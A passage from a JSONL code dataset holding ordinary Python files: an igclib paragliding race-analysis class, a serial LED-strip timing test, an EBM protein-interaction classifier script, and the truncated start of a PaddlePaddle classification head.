"pandas.core.index", "line_number": 23, "usage_type": "name"}, {"api_name": "pandas.core.series.Series", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pandas.core.series", "line_number": 24, "usage_type": "name"}, {"api_name": "pandas.core.frame.DataFrame", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pandas.core.frame", "line_number": 25, "usage_type": "name"}, {"api_name": "pandas.core.panel.WidePanel", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pandas.core.panel", "line_number": 26, "usage_type": "name"}, {"api_name": "string.letters", "line_number": 32, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 32, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 33, "usage_type": "call"}, {"api_name": "IPython.core.debugger.Pdb", "line_number": 44, "usage_type": "name"}, {"api_name": "pdb.Pdb", "line_number": 44, "usage_type": "name"}, {"api_name": "IPython.core.debugger.Pdb", "line_number": 46, "usage_type": "call"}, {"api_name": "pdb.runcall", "line_number": 47, "usage_type": "call"}, {"api_name": "IPython.core.debugger.Pdb", "line_number": 52, "usage_type": "call"}, {"api_name": "sys._getframe", "line_number": 52, "usage_type": "call"}, {"api_name": "pdb.Pdb", "line_number": 55, "usage_type": "call"}, {"api_name": "sys._getframe", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.testing.assert_", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_equal", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pandas.core.common.isnull", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.testing.assert_", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 82, "usage_type": "attribute"}, {"api_name": "pandas.core.common.isnull", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.testing.assert_almost_equal", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_almost_equal", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.sort", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 97, "usage_type": "call"}, {"api_name": "pandas.core.series", "line_number": 115, "usage_type": "name"}, {"api_name": "pandas.core.series", "line_number": 117, "usage_type": "argument"}, {"api_name": "pandas.core.series", "line_number": 127, "usage_type": "name"}, {"api_name": "pandas.core.series", "line_number": 129, "usage_type": "argument"}, {"api_name": "string.ascii_uppercase", "line_number": 139, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 145, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 148, "usage_type": "call"}, {"api_name": "pandas.core.index", "line_number": 152, "usage_type": "name"}, {"api_name": "numpy.random.randn", "line_number": 153, "usage_type": "call"}, {"api_name": "pandas.core.index", "line_number": 153, "usage_type": "name"}, {"api_name": "pandas.core.index", "line_number": 156, "usage_type": "name"}, {"api_name": "numpy.random.randn", "line_number": 157, "usage_type": "call"}, {"api_name": "pandas.core.index", "line_number": 157, "usage_type": "name"}, {"api_name": "pandas.core.index", "line_number": 161, "usage_type": "name"}, {"api_name": "pandas.core.index", "line_number": 162, "usage_type": "name"}, {"api_name": "numpy.random.randn", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 168, "usage_type": "call"}, {"api_name": "pandas.core.index", "line_number": 171, "usage_type": "name"}, {"api_name": "numpy.random.randn", "line_number": 173, "usage_type": "call"}, {"api_name": "pandas.core.index", "line_number": 173, "usage_type": "name"}, {"api_name": "pandas.core.index", "line_number": 179, "usage_type": "name"}, {"api_name": "pandas.core.index", "line_number": 188, "usage_type": "name"}, {"api_name": "string.ascii_uppercase", "line_number": 199, "usage_type": "attribute"}, {"api_name": "pandas.core.panel.shape", "line_number": 204, "usage_type": "attribute"}, {"api_name": "pandas.core.panel", "line_number": 204, "usage_type": "name"}, {"api_name": "pandas.core.panel.items", "line_number": 205, "usage_type": "attribute"}, {"api_name": "pandas.core.panel", "line_number": 205, "usage_type": "name"}, {"api_name": "pandas.core.panel", "line_number": 206, "usage_type": "name"}, {"api_name": "numpy.NaN", "line_number": 208, "usage_type": "attribute"}]} +{"seq_id": "294677391", "text": "import json\nimport logging\nimport multiprocessing\n#multiprocessing.set_start_method('spawn', True)\nimport os\nimport pickle\nimport sys\nimport zipfile\nfrom datetime import datetime, time\nfrom glob import glob\n\nimport numpy as np\nimport seaborn as sns\nfrom igclib.constants import DEBUG\nfrom igclib.crawlers.flight_crawler import FlightCrawler\nfrom igclib.model.flight import Flight\nfrom igclib.model.pilot_features import PilotFeatures\nfrom igclib.model.task import Task\nfrom igclib.utils.json_encoder import ComplexEncoder\nfrom igclib.utils.timeop import sub_times\nfrom matplotlib import pyplot as plt\nfrom scipy.signal import savgol_filter\nfrom tqdm import tqdm\n\n\nclass Race():\n \"\"\"\n You can create a Race instance in two different ways :\n\n * Passing a tracks_dir and a task_file, which creates a new Race object and computes all pilot features.\n\n >>> r = Race(tracks_dir='tracks/', task_file='task.xctsk')\n\n * Passing a path to a previously saved Race, loading the saved instance (much faster than recomputing features).\n\n >>> r = Race(path='race.pkl')\n\n Keyword Arguments:\n tracks_dir (str): A path to the directory containing IGC tracks.\n task_file (str): A path to the task file.\n path (str): The path of a previously saved Race instance.\n\n Attributes:\n n_pilots (int) : The number of pilots in the Race.\n flights (dict [str, Flight]) : A collection of Flights indexed by pilot ID.\n task (Task) : The Task instance of the Race.\n \"\"\"\n\n def __init__(self, tracks_dir=None, task_file=None, validate=True, path=None, progress='gui'):\n self._validate = validate\n self._progress = progress\n \n # load race from pickle\n if path is not None:\n self._load(path)\n if not self.validated and self._validate:\n self._validate_flights()\n\n # or build it from arguments\n else:\n self._progress = progress\n self.task = Task(task_file, progress=self._progress)\n\n if tracks_dir is None:\n try:\n tracks_dir = FlightCrawler(self.task, progress=self._progress).directory\n except ValueError:\n logging.error('This task format does not support flight crawling yet, provide --flights directory.')\n\n self._parse_flights(tracks_dir)\n\n if self._validate:\n self._validate_flights()\n self.validated = True\n else:\n self.validated = False\n\n\n def __getitem__(self, time_point):\n \"\"\"\n Returns a snapshot of the race at a given time\n\n Arguments:\n time_point (~datetime.time) : The second at which the snapshot is taken\n \"\"\"\n snaps = {}\n for pilot_id, flight in self.flights.items():\n if flight[time_point] is not None:\n snaps[pilot_id] = flight[time_point]\n else:\n if time_point < flight._first_point['timestamp']:\n snaps[pilot_id] = flight._first_point['point']\n elif time_point > flight._last_point['timestamp']:\n snaps[pilot_id] = flight._last_point['point']\n return snaps\n\n\n def __len__(self):\n return len([_ for _ in self._snapshots()])\n\n\n def _parse_flights(self, tracks_dir):\n if zipfile.is_zipfile(tracks_dir):\n archive = zipfile.ZipFile(tracks_dir)\n archive.extractall(path='/tmp')\n tracks_dir = os.path.join('/tmp', os.path.splitext(os.path.basename(tracks_dir))[0])\n\n if os.path.isdir(tracks_dir):\n tracks = glob(os.path.join(tracks_dir, '*.igc'));\n if len(tracks) == 0:\n raise ValueError('Flight directory does not contain any igc files')\n else:\n raise ValueError(f'{tracks_dir} is not a directory')\n\n self.n_pilots = len(tracks)\n self.flights = {}\n\n steps = 1\n for x in tqdm(tracks, desc='reading tracks', disable=self._progress!='gui'):\n pilot_id = os.path.splitext(os.path.basename(x))[0]\n self.flights[pilot_id] = Flight(x)\n\n if self._progress == 'ratio':\n print(f'{steps/self.n_pilots:.0%}', file=sys.stderr, flush=True)\n steps +=1\n\n \n def _validate_flights(self):\n \"\"\"Computes the validation of each flight on the race\"\"\"\n if DEBUG == True:\n for pilot_id, flight in tqdm(self.flights.items(), desc='validating flights', total=self.n_pilots):\n self.task.validate(flight)\n\n else:\n with multiprocessing.Pool(multiprocessing.cpu_count()) as p:\n steps = 1\n\n # we can't just map(self.task.validate, self.flights) because instance attributes updated in subprocesses are not copied back on join \n for pilot_id, goal_distances, tag_times in tqdm(p.imap_unordered(self.task.validate, self.flights.values()), desc='validating flights', total=self.n_pilots, disable=self._progress!='gui'):\n \n # update goal distances of flight points\n for timestamp, point in self.flights[pilot_id].points.items():\n point.goal_distance = goal_distances[timestamp]\n\n # compute race time for pilot, read list in reverse because ESS is more likely near the end\n self.flights[pilot_id].race_distance = len(self.task) - min(goal_distances.values())\n self.flights[pilot_id]._last_point['point'].goal_distance = min(goal_distances.values())\n \n # compute race time for pilot, read list in reverse because ESS is more likely near the end\n if len(tag_times) == len(self.task.turnpoints):\n for i, turnpoint in enumerate(self.task.turnpoints[::-1]):\n if turnpoint.role == 'ESS':\n race_time = sub_times(tag_times[-(i+1)], self.task.start)\n self.flights[pilot_id].race_time = race_time\n logging.debug(f'{pilot_id} SS : {race_time}')\n\n # update tag_times of turnpoints\n self.task._update_tag_times(tag_times)\n \n if self._progress == 'ratio':\n print(f'{steps/self.n_pilots:.0%}', file=sys.stderr, flush=True)\n steps +=1\n \n # number of pilots in goal TODO TIME THIS\n self.in_goal = []\n for pilot_id, flight in self.flights.items():\n for point in list(flight.points.values())[::-1]:\n if point.goal_distance == 0:\n self.in_goal.append(pilot_id)\n break\n\n logging.info(f'{str(len(self.in_goal))} pilots in goal')\n\n\n def __str__(self):\n s = '{} pilots - '.format(self.n_pilots)\n s += '{}m task - '.format(len(self.task))\n s += 'start at {} - '.format(self.task.start)\n s += 'deadline at {}'.format(self.task.stop)\n return s\n \n\n def __repr__(self):\n return str(self)\n\n\n def get_pilot_features(self, pilot_id, start=None, stop=None):\n \"\"\"Extracts pilot features\n\n Arguments:\n pilot_id (str) : The pilot identifier used as key in self.flights\n \n Keyword Arguments:\n start (~datetime.time, optional) : Lower bound of the retrieved features (default)\n stop (~datetime.time, optional) : Upper bound of the retrieved features\n \n Raises:\n KeyError: if pilot_id is not a key of self.flights dictionnary\n \n Returns:\n PilotFeatures: The pilot features from start to stop \n \"\"\"\n if pilot_id not in self.flights:\n raise KeyError('Pilot {} is not in the race'.format(pilot_id))\n\n features = {}\n steps = 1\n total = len(self)\n for timestamp, snapshot in tqdm(self._snapshots(start, stop), desc='extracting features', total=len(self), disable=self._progress!='gui'):\n if pilot_id not in snapshot:\n logging.debug(f'Pilot {pilot_id} has no track at time {timestamp}')\n else:\n features[timestamp] = PilotFeatures(pilot_id, timestamp, snapshot)\n\n if self._progress == 'ratio':\n print(f'{steps/total:.0%}', file=sys.stderr, flush=True)\n steps +=1\n\n return features\n\n\n def pilot_schema_plot(self, pilot_id):\n \"\"\"In dev !\n \n Args:\n pilot_id (str): ID of the pilot being studied\n \"\"\"\n series = self.pilot_schema(pilot_id)\n\n sns.lineplot(x=series['timestamps'], y=series['smoothed_altitudes'])\n sns.lineplot(x=series['timestamps'], y=series['smoothed_distances'])\n plt.show()\n\n def pilot_schema(self, pilot_id, output=None):\n \"\"\"In dev !\n \n Args:\n pilot_id (str): ID of the pilot being watched\n \"\"\"\n features = self.get_pilot_features(pilot_id)\n mean_altitudes = []\n mean_goal = []\n timestamps = list(features.keys())\n\n for feature in features.values():\n altitudes = np.array(feature.group_relation.delta_altitude)\n goal_distances = np.array(feature.group_relation.delta_distance)\n\n mean_altitudes.append(altitudes.mean())\n mean_goal.append(goal_distances.mean())\n \n smoothed_altitudes = savgol_filter(mean_altitudes, 121, 1)\n smoothed_distances = savgol_filter(mean_goal, 121, 1)\n\n series = {\n 'timestamps' : timestamps,\n 'delta_altitudes' : smoothed_altitudes,\n 'delta_distances' : smoothed_distances,\n }\n \n if output is None:\n return series\n elif output == '-':\n print(json.dumps(series, cls=ComplexEncoder))\n\n\n def _snapshots(self, start=None, stop=None):\n \"\"\"\n Generates snapshots of the race at each second between start and stop\n \"\"\"\n for timestamp in self.task._timerange(start, stop):\n if self[timestamp] != {}:\n yield timestamp, self[timestamp]\n\n\n def save(self, output):\n \"\"\"\n Saves the race instance to a file specified by output\n \"\"\"\n if output is None:\n logging.info('Race was not saved because you did not specify an output file')\n\n elif output.endswith('.pkl'):\n with open(output, 'wb') as f:\n to_save = {x:y for x, y in self.__dict__.items() if not x.startswith('_')}\n pickle.dump(to_save, f)\n\n elif output.endswith('.json'):\n with open(output, 'w', encoding='utf8') as f:\n json.dump(self._serialize(), f, cls=ComplexEncoder, ensure_ascii=False, indent=4)\n\n elif output.endswith('.igclib'):\n path = os.path.dirname(output)\n filename = os.path.basename(output)\n canonical = os.path.splitext(filename)[0]\n json_output = os.path.join(path, f'{canonical}.json')\n pkl_output = os.path.join(path, f'{canonical}.pkl')\n self.save(output=json_output)\n self.save(output=pkl_output)\n\n else:\n raise NotImplementedError('Supported output files : .json, .pkl, .igclib')\n \n def _serialize(self):\n snaps = {str(_[0]):_[1] for _ in self._snapshots()}\n ranking = {}\n if self._validate:\n for pilot_id, flight in self.flights.items():\n ranking[pilot_id] = {\n 'name' : str(flight),\n 'id': pilot_id,\n 'distance' : flight.race_distance,\n 'time' : flight.race_time\n }\n ranking = sorted(ranking.values(), key=lambda x: (-x['distance'], x['time']))\n return dict(task=self.task, ranking=ranking, race=snaps)\n\n def _load(self, path):\n \"\"\"\n Loads the race instance from a pickle file\n \"\"\"\n if path.endswith('.pkl'):\n with open(path, 'rb') as f:\n self.__dict__.update(pickle.load(f))\n else:\n raise ValueError('You can only load a race from a .pkl file')\n", "sub_path": "igclib/model/race.py", "file_name": "race.py", "file_ext": "py", "file_size_in_byte": 12421, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "igclib.model.task.Task", "line_number": 62, "usage_type": "call"}, {"api_name": "igclib.crawlers.flight_crawler.FlightCrawler", "line_number": 66, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 68, "usage_type": "call"}, {"api_name": "zipfile.is_zipfile", "line_number": 103, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path", "line_number": 106, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 120, "usage_type": "call"}, {"api_name": "igclib.model.flight.Flight", "line_number": 121, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 124, "usage_type": "attribute"}, {"api_name": "igclib.constants.DEBUG", "line_number": 130, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 131, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 135, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 135, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 139, "usage_type": "call"}, {"api_name": "igclib.utils.timeop.sub_times", "line_number": 153, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 155, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 161, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 172, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 209, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 211, "usage_type": "call"}, {"api_name": "igclib.model.pilot_features.PilotFeatures", "line_number": 213, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 216, "usage_type": "attribute"}, {"api_name": "seaborn.lineplot", "line_number": 230, "usage_type": "call"}, {"api_name": "seaborn.lineplot", "line_number": 231, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 232, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 232, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 247, "usage_type": "call"}, {"api_name": "scipy.signal.savgol_filter", "line_number": 252, "usage_type": "call"}, {"api_name": "scipy.signal.savgol_filter", "line_number": 253, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 264, "usage_type": "call"}, {"api_name": "igclib.utils.json_encoder.ComplexEncoder", "line_number": 264, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 281, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 286, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 290, "usage_type": "call"}, {"api_name": "igclib.utils.json_encoder.ComplexEncoder", "line_number": 290, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 293, "usage_type": "call"}, {"api_name": "os.path", "line_number": 293, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 294, "usage_type": "call"}, {"api_name": "os.path", "line_number": 294, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 295, "usage_type": "call"}, {"api_name": "os.path", "line_number": 295, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 296, "usage_type": "call"}, {"api_name": "os.path", "line_number": 296, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 297, "usage_type": "call"}, {"api_name": "os.path", "line_number": 297, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 324, "usage_type": "call"}]} +{"seq_id": "563342643", "text": "import serial\nimport time\n\nclass NewBuffer:\n def __init__(self, ser):\n self.ser = ser\n self.read_ok = 0\n\n def beginStrip(self):\n print(\"write Begin\")\n self.write([0x41, 0x64, 0x61, 0x00, 0x18, 0x4D])\n print(\"End Begin\")\n\n def write(self, x):\n #print(ser.read(ser.inWaiting()))\n self.ser.write(x)\n # self.ser.flush()\n # print(ser.readline())\n self.read_ok += 1\n #\n if self.read_ok == 8:\n self.read_ok = 0\n time.sleep(0.005)\n # print(ser.readline())\n #print(ser.read(ser.inWaiting()))\n\nser = serial.Serial('/dev/ttyUSB0', 115200) # , serial.EIGHTBITS, serial.PARITY_NONE, serial.STOPBITS_ONE)\nread_ok = 0\n\nbuff = NewBuffer(ser)\nprint(\"Connected\")\ntime.sleep(2)\nt0 = time.time()\nprint(ser.read(ser.inWaiting()))\nfor k in range(20):\n buff.beginStrip()\n for i in range(50):\n print(\"Pixel\")\n buff.write([255, 0, 0])\n # ser.readline()\n buff.beginStrip()\n for i in range(50):\n buff.write([0, 255, 0])\n # er.readline()\n buff.beginStrip()\n for i in range(50):\n buff.write([0, 0, 255])\n # ser.readline()\nbuff.beginStrip()\nfor i in range(50):\n buff.write([48, 214, 200])\n # ser.readline()\nt1 = time.time()\nprint(\"Time:\")\nprint(t1 - t0)\nprint(ser.read(ser.inWaiting()))\ntime.sleep(5)\nser.close()\n", "sub_path": "zurekLight/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1394, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "time.sleep", "line_number": 23, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 27, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 32, "usage_type": "call"}, {"api_name": "time.time", "line_number": 33, "usage_type": "call"}, {"api_name": "time.time", "line_number": 53, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "624357717", "text": "\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n#import seaborn as sns\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.preprocessing import MinMaxScaler, StandardScaler\nfrom interpret import show\nfrom interpret.data import ClassHistogram\nfrom sklearn import metrics\nfrom sklearn.model_selection import train_test_split, KFold, cross_validate, GridSearchCV, StratifiedKFold\n\nimport pickle\nfrom interpret.glassbox import ExplainableBoostingClassifier, LogisticRegression, ClassificationTree, DecisionListClassifier\nfrom interpret.perf import ROC\n\nseed=0\n\ndef normalize_train_test(X_train, X_test):\n scaler = StandardScaler()\n scaler.fit(X_train)\n X_train = scaler.transform(X_train)\n X_test = scaler.transform(X_test)\n return X_train, X_test\n\ndef normalize_train_test_cov(X_train, X_test, X_cov):\n scaler = StandardScaler()\n scaler.fit(X_train)\n X_train = scaler.transform(X_train)\n X_test = scaler.transform(X_test)\n X_cov = scaler.transform(X_cov)\n return X_train, X_test, X_cov\n\ndef impute_train_test(X_train, X_test):\n #replace -8888 values with Nan and then use simple imputer \n imp_mean = SimpleImputer(missing_values=np.nan, strategy='mean')\n imp_mean.fit(X_train)\n X_train = imp_mean.transform(X_train)\n X_test = imp_mean.transform(X_test)\n return X_train, X_test\n\ndef imputeX(X):\n #replace -8888 values with Nan and then use simple imputer \n imp_mean = SimpleImputer(missing_values=np.nan, strategy='mean')\n imp_mean.fit(X)\n X = imp_mean.transform(X)\n return X\n\ndef get_aucpr(y_true, y_pred, pos_label=1):\n #fpr, tpr, thresholds = sklearn.metrics.roc_curve(y_true, pred, pos_label=2)\n precision, recall, thresholds = metrics.precision_recall_curve(y_true, y_pred, pos_label)\n auc_val = metrics.auc(recall, precision)\n return auc_val\n\ndef get_auc(labels, preds, pos_label=1):\n fpr, tpr, _ = metrics.roc_curve(labels, preds, pos_label)\n return metrics.auc(fpr, tpr)\n\ndef binarize(y_pred):\n return [int(x >= 0.5) for x in y_pred]\n\n\ndef save_model(ebm, model_file):\n model_pkl = open(model_file, 'wb')\n pickle.dump(ebm,model_pkl)\n model_pkl.close()\n\n#home_dir = \"/home/meghanak/projects/COVID/\"\nX_pos = pd.read_csv(\"features/training_ppis_feats_humanpartners.csv\", header=0, index_col=0)\nsamp = np.where(np.random.sample(X_pos.shape[0]) < 0.45)[0]\nX_pos = X_pos.iloc[samp, :]\nX_neg = pd.read_csv(\"features/training_negs_feats.csv\", header=0, index_col=0)\nfeat_names=X_neg.columns\nnpos = X_pos.shape[0]\nnneg = X_neg.shape[0]\n\nprint(\"#pos: \",npos,\" #neg: \",nneg)\ny = np.vstack((np.ones((npos,1)), np.zeros((nneg,1))))\nprint(y.shape)\n\nX = pd.DataFrame(np.row_stack((X_pos, X_neg)), columns=feat_names)\n\npos_index = range(294)\nX_cov = pd.read_csv(\"features/test_cov2_pairs_feats.csv\", header=0, index_col=0)\nfeat_names=X_cov.columns\nsamp = np.random.randint(300,X_cov.shape[0],300)\nsamp = np.concatenate((pos_index,samp))\nX_cov = X_cov.iloc[samp, :]\ny_cov = np.zeros((X_cov.shape[0],1))\ny_cov[pos_index]=1\n\nkf = StratifiedKFold(n_splits=5, shuffle=True)\ntrain_idxes = []\ntest_idxes = []\nfor train_index, test_index in kf.split(X,y):\n train_idxes.append(train_index)\n test_idxes.append(test_index)\n\nsplitwise_perf = []\nfor split in range(0,5):\n X_train, X_test = X.iloc[train_idxes[split],:], X.iloc[test_idxes[split],:]\n y_train, y_test = y[train_idxes[split]], y[test_idxes[split]]\n #X_train, X_test, X_cov = normalize_train_test_cov(X_train, X_test, X_cov)\n y_train = y_train.ravel()\n clf = ExplainableBoostingClassifier(random_state=seed) #, interactions=100)\n clf.fit(X_train, y_train)\n y_pred = clf.predict(X_test)\n print(metrics.confusion_matrix(y_test, y_pred))\n curr_perf = []\n curr_perf += [metrics.accuracy_score(y_test, y_pred)]\n y_pred = clf.predict_proba(X_test)\n curr_perf += [get_aucpr(y_test, y_pred[:,1])]\n curr_perf += [get_auc(y_test, y_pred[:,1])]\n y_pred_cov = clf.predict(X_cov)\n print(metrics.confusion_matrix(y_cov, y_pred_cov))\n y_pred_cov = clf.predict_proba(X_cov)\n curr_perf += [get_aucpr(y_cov, y_pred_cov[:,1])]\n curr_perf += [get_auc(y_cov, y_pred_cov[:,1])]\n print(curr_perf)\n splitwise_perf.append(curr_perf)\n # save model\n #save_model(clf,format(\"models/ebm_humanpartners_1to1_no3mer_nonorm_split%d.pkl\" % split))\n\n\nprint(np.mean(splitwise_perf, axis=0))\n\n#hist = ClassHistogram().explain_data(X_train, y_train.values, name = 'Train Data')\n#show(hist)\n\n#ebm_global = ebm.explain_global(name='EBM')\n#show(ebm_global)\n\n#ebm_perf = ROC(ebm.predict_proba).explain_perf(X_test, y_test, name='EBM')\n#show(ebm_perf)\n\n\n", "sub_path": "code/GAM_ppi_transfer.py", "file_name": "GAM_ppi_transfer.py", "file_ext": "py", "file_size_in_byte": 4663, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 20, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.impute.SimpleImputer", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 36, "usage_type": "attribute"}, {"api_name": "sklearn.impute.SimpleImputer", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 44, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 51, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 51, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 52, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 56, "usage_type": "name"}, {"api_name": "sklearn.metrics.auc", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 57, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 65, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.random.sample", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 70, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 78, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.row_stack", "line_number": 81, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 86, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 89, "usage_type": "call"}, {"api_name": "sklearn.model_selection.StratifiedKFold", "line_number": 92, "usage_type": "call"}, {"api_name": "interpret.glassbox.ExplainableBoostingClassifier", "line_number": 105, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 108, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 108, "usage_type": "name"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 110, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 110, "usage_type": "name"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 115, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 115, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 125, "usage_type": "call"}]} +{"seq_id": "96183448", "text": "# -*- coding: UTF-8 -*-\n# Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport paddle.fluid as fluid\nfrom paddle.fluid import layers\nfrom paddlepalm.interface import task_paradigm\nimport numpy as np\nimport os\n\nclass TaskParadigm(task_paradigm):\n '''\n classification\n '''\n def __init__(self, config, phase, backbone_config=None):\n self._is_training = phase == 'train'\n self._hidden_size = backbone_config['hidden_size']\n self.num_classes = config['n_classes']\n \n if 'initializer_range' in config:\n self._param_initializer = config['initializer_range']\n else:\n self._param_initializer = fluid.initializer.TruncatedNormal(\n scale=backbone_config.get('initializer_range', 0.02))\n if 'dropout_prob' in config:\n self._dropout_prob = config['dropout_prob']\n else:\n self._dropout_prob = backbone_config.get('hidden_dropout_prob', 0.0)\n self._pred_output_path = config.get('pred_output_path', None)\n self._preds = []\n\n @property\n def inputs_attrs(self):\n if self._is_training:\n reader = {\"label_ids\": [[-1], 'int64']}\n else:\n reader = {}\n bb = {\"sentence_embedding\": [[-1, self._hidden_size], 'float32']}\n return {'reader': reader, 'backbone': bb}\n\n @property\n def outputs_attrs(self):\n if self._is_training:\n return {'loss': [[1], 'float32']}\n else:\n return {'logits': [[-1, self.num_classes], 'float32']}\n\n def build(self, inputs, scope_name=''):\n sent_emb = inputs['backbone']['sentence_embedding']\n if self._is_training:\n label_ids = inputs['reader']['label_ids']\n cls_feats = fluid.layers.dropout(\n x=sent_emb,\n dropout_prob=self._dropout_prob,\n dropout_implementation=\"upscale_in_train\")\n\n logits = fluid.layers.fc(\n input=sent_emb,\n size=self.num_classes,\n param_attr=fluid.ParamAttr(\n name=scope_name+\"cls_out_w\",\n initializer=self._param_initializer),\n 